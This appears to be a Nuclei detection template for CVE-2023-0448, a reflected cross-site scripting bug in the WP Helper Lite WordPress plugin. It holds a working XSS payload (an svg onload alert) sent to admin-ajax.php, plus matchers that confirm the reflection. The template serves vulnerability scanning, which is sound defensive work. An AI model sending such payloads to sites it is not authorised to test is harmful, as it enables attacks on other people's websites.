id: CVE-2023-0448

info:
  name: WP Helper Lite < 4.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected cross-site scripting vulnerability.
  remediation: Fixed in version 4.3 and above
  reference:
    - https://wpscan.com/vulnerability/1f24db34-f608-4463-b4ee-9bc237774256
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0448
  classification:
    cve-id: CVE-2023-0448
  metadata:
    max-request: 1
    verified: true
    publicwww-query: "/wp-content/plugins/wp-helper-lite"
  tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,wp-helper-lite

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><svg onload=alert(document.domain)>")'
          - 'contains(body, "params\":{\"action")'
        condition: and